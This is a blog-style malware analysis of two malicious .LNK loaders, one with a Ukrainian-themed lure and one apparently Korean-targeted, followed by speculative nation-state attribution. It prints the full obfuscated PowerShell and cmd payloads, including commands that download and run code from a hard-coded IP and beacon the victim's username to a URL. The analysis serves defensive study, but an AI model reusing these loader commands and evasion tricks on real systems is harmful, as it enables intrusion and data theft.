7 minute read

Introduction

Recently, I came across two different malware loaders abusing .LNK files as the intital access — and both had some interesting layers worth digging into. Anyway, this isn’t a full-blown writeup or anything. Just me getting back into the habit of analyzing and sharing stuff again. I’ve been out of the loop for a while, so this one’s more of a warm-up. If you spot anything weird, wrong, or you just wanna geek out over it—let me know.

Part 1: Digging into the First LNK Loader

Intro

So I came across this suspicious ZIP file recently — hash: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8. Once unzipped, it dropped a .LNK file with a name like ЗЕЛЕНСЬКИЙ.М.В..docx.lnk.

Note: I only had the loader to work with. The C2 servers were dead, and I couldn’t get the main payload (AppCheckS.exe) or any decoy doc. Everything here’s from static analysis and watching its behavior.

Stage 0: ZIP File

  • Filename: Unknown (SHA256 referenced)
  • SHA256: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8
  • Contents: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk
  • Packaging: Just a plain ZIP, no folders

This is a classic social engineering starter. The LNK file uses a double .docx.lnk extension with a Cyrillic name to lure non-technical users possibly targeting a Russian-speaking audience.

Stage 1: The LNK Payload

The .LNK file is the real deal here. It doesn’t launch a document but instead invokes a PowerShell script with multiple stages:


-win 1 eChO ikLUwJJXohZoLaHEBFtdWEvLWq;
  • Just some garbage echo command, probably to throw off basic scanners.
if (-not(Test-Path 'calipash.z''i''p' -PathType Leaf)){
  &(Get-Command in???e-webr**) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/calipash.z''i''p -OutFile calipash.z''i''p
};
  • Checks if calipash.zip exists. If not, it downloads it from http://38.180.49.87/calipash.zip.
  • 'zi''p' and ht''tp' are used to split strings and evade detection.
  • Uses Invoke-WebRequest or Invoke-WebClient via wildcard pattern in???e-webr**.
sleep 0.01; Measure-Object | Out-Null;
  • Slight delay and dummy commands to mess with sandboxes.
eChO uGLxDhDxxfNjkAkreOIPzbprHbWqxfyhhEiZWFLcwdbltXGKhtCnXFfst;
  • Another junk echo.
$Hehe = 'Expand-Archive -Path calipash.z''i''p -DestinationPath x64Updtr';
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire $Hehe;
  • Unzips the archive into a folder x64Updtr.
  • Uses Invoke-Expression to dynamically execute PowerShell.
NotHehe = 'st''ar''t x64Updtr/AppCheckS.e''x''e';
iex -Debug -Verbose -ErrorVariable $ee -InformationAction Ignore -WarningAction Inquire $NotHehe;
  • Executes the extracted EXE file.
  • Obfuscation is consistent (st''ar''t, e''x''e).
&(Get-Command in???e-webre************************) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/dannya/database_response_invalid_error_code_702.docx -OutFile database_response_invalid_error_code_702.docx;
  • Tries to download a docx file from http://38.180.49.87/dannya/database_response_invalid_error_code_702.docx
  • database_response_invalid_error_code_702.docx is likely a decoy document or secondary loader.
sleep 0.01; Get-Process | Out-Null;
  • Another quick pause and useless command to trip up analysis tools.
st''ar''t database_response_invalid_error_code_702.docx;
  • Opens that .docx to make everything seem legit.

Infection Flow Summary

  1. User opens LNK thinking it’s a document.
  2. PowerShell kicks in silently.
  3. It downloads and extracts a ZIP.
  4. Launches a suspicious EXE.
  5. Tries to download a DOCX (likely a decoy).
  6. Opens the DOCX to complete the illusion.

About the IP

  • 38.180.49.87

    At the time of writing this, the IP is down. Tried scanning and querying it — nothing. No open ports, no HTTP response, nada.

I couldn’t find any solid links to previous malware campaigns tied to it either. That said, the way the infrastructure is used — disposable C2s, dead by the time we land on them — is typical of certain APT-style operators.

Attribution?

Let’s be straight — This is thorough observation, not confirmed attribution. We don’t have access to the full malware, just the loader. The infrastructure’s down, and the ZIP contents were limited. So all analysis is from what we do have.

  • That filename: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk: It’s straight-up Zelenskyy’s name. That’s not random. It’s a targeted hook, probably fishing for someone tied to Ukraine or politics.
  • The playbook’s familiar—double extensions, jumbled PowerShell, throwaway servers, and a fake doc at the end.
  • The delivery style and use of a fake document launcher feel aligned with techniques we’ve seen from North Korean-linked APTs (like APT37, Kimsuky) and even some Russian threat actors when engaging in hybrid warfare ops.
  • But without the payload or active servers, I’m not pointing fingers. It feels like a nation-state move, though, especially with that Ukraine angle.

Part 2: Digging into the Second LNK Loader

Intro

So, I stumbled across this .LNK file the other day. At first, it seemed like some basic dropper, nothing wild. But after looking at it only thing got my interest up is how it is probably linked with DPRK.

  • Purpose: Likely initial access, disguised as a legitimate lure
  • Suspected Attribution: TTP overlaps with Kimsuky and Konni APT groups

  • Note: Same as the last .LNK loader, we didn’t get our hands on the main .LNK file (월급.lnk) . So everything here’s from static analysis and watching its behavior.

Stage 0: File

  • Type: .LNK
  • Size: 3.78 KB
  • Name: plum.lnk
  • Hash: 065f4a69119449bcbd777a96674ea52553ec282127731980476c7b4da69471c8
  • VirusTotal: 21/62

Stage 1: The LNK Payload


Inside the .LNK

Used 010 Editor + LNK templates to read between the bytes. Here’s what stood out:

  • Command Target:

    cmd.exe, chained with PowerShell logic

  • Working Dir:

    C:\Users\kangb\OneDrive\Desktop

  • COMMAND LINE ARGUMENTS:

Below is the full PowerShell/Batch combo embedded into the .lnk target:

/v:on /k "for /f %a in ('whoami') do (set myuser=%a&set myuser=!myuser:\=/!&curl http://google.com/112.jsp?user=!myuser!)&for /f \"tokens=*\" %a in ('dir C:\Windows\System32\*rshell.exe /s /b /od') do call %a -WindowStyle Minimized \"$DirPath=Get-Location;if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq ''){$DirPath=$env:TEMP;}$Files=Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk';$lnkF='';foreach ($File in $Files){$lnkF=$File.FullName;};$StartA=0;$fileBytes=Get-Content -Path $lnkF -Encoding Byte -Raw;$a5=0x25;$b4=0x50;$c3=0x44;$d4=0x46;for ($i=0;$i -lt $fileBytes.Length;$i++){if ($fileBytes[$i] -eq $a5){if ($fileBytes[$i+1] -eq $b4){if ($fileBytes[$i+2] -eq $c3){if ($fileBytes[$i+3] -eq $d4){$startA=$i;break;}}}}}$byteC=58461;$NormalF=$lnkF -replace 'lnk','pdf';$selectedBytes=$fileBytes[$startA..($startA+$byteC-1)];Set-content -Path $NormalF -Value $selectedBytes -Encoding Byte;ii $NormalF;timeout /t 2;Remove-Item -Path $lnkF;\"&cls&exit"

cmd.exe /v:on /k

  • Enables delayed variable expansion. Needed for dynamic variable tricks like !myuser!.

for /f %a in ('whoami') do (...)

  • Gets the current username.
  • Replaces \ with / to make it URL-safe.
  • Sends the username to a beacon URL (google[.]com/112.jsp). This is likely a placeholder.

for /f "tokens=*" %a in ('dir ... *rshell.exe') do call %a

  • Looks for a renamed PowerShell binary (possibly rshell.exe).
  • Calls it minimized to execute the rest of the payload.

PowerShell Payload:

$DirPath = Get-Location
if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq '') {
    $DirPath = $env:TEMP
}

  • If running in a protected folder, switches to a temp directory.
$Files = Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk'
foreach ($File in $Files) { $lnkF = $File.FullName }

  • Searches for a file named ‘월급.lnk’ (Korean: “Salary.lnk”)
  • Likely the file that was originally clicked.
$fileBytes = Get-Content -Path $lnkF -Encoding Byte -Raw

  • Reads the LNK file in binary mode.
$a5 = 0x25; $b4 = 0x50; $c3 = 0x44; $d4 = 0x46
for (...) { if ($fileBytes[i..i+3] -eq %PDF) { $startA = i; break } }

  • Searches for a PDF header: %PDF → 0x25 0x50 0x44 0x46
$byteC = 58461
$selectedBytes = $fileBytes[$startA..($startA+$byteC-1)]

  • Extracts the next 58KB, assuming it’s a valid decoy PDF.
$NormalF = $lnkF -replace 'lnk','pdf'
Set-Content -Path $NormalF -Value $selectedBytes -Encoding Byte
ii $NormalF
Remove-Item -Path $lnkF

  • Writes the PDF to disk, opens it, and deletes the original .lnk file.

Infection Flow Summary

  • User clicks plum.lnk
  • .LNK fires up cmd.exe, which grabs the username and pings a URL (google[.]com/112.jsp) with it.
  • CMD hunts for a renamed PowerShell binary (like rshell.exe) and runs it quietly.
  • PowerShell checks the current folder. If it’s somewhere like System32 or Program Files, it switches to the temp directory.
  • It looks for another .LNK file named 월급.lnk (Korean for “Salary”).
  • Reads that .LNK as raw bytes, hunting for a %PDF header to find an embedded PDF.
  • Pulls out ~58KB of data, saves it as a .pdf file, and opens it to look legit.
  • Deletes the original .LNK to cover its tracks.

Attribution Clues — Why It Feels DPRK-Linked

Now I’m not throwing attribution lightly. But if you’ve been trackingi DPRK, this might feel too familiar:

Clues pointing toward DPRK-linked APTs (e.g., Lazarus, Kimsuky, Andariel):

  1. Use of Korean language (월급.lnk) – Strong social engineering bait targeting local users.
  2. File carving of embedded malicious content – A tactic seen in Lazarus implants.
  3. Heavy use of PowerShell, minimal external tooling – Consistent with Kimsuky and Lazarus tradecraft.
  4. C2 behavior cloaked in Google domain – TTP overlap with past Lazarus phishing kits.

While not definitive, the TTPs line up with campaigns previously attributed to:

  • Kimsuky’s spyware and data theft modules
  • Lazarus’s weaponized Office/PDF attachments
  • Andariel’s use of .lnk for lateral movement and dropper stages

For some reason, this feels more like a test-drive loader than a fully active infection vector. The use of placeholder C2s and half-baked functionality suggests it’s either part of an ongoing campaign still in development or a new one thatsabout to start.

Wrapping Up

Both .LNK loaders were kinda cool to poke at, but yeah, they left me hanging with no big answers. I wasn’t even gonna write this up, but I’m trying to get back into jotting stuff down regularly. So, thanks for checking it out! If I goofed anything, I’ll def clean it up next time.

Shoutouts

  • ChatGPT (For answering all the silly questions)
  • VirusTotal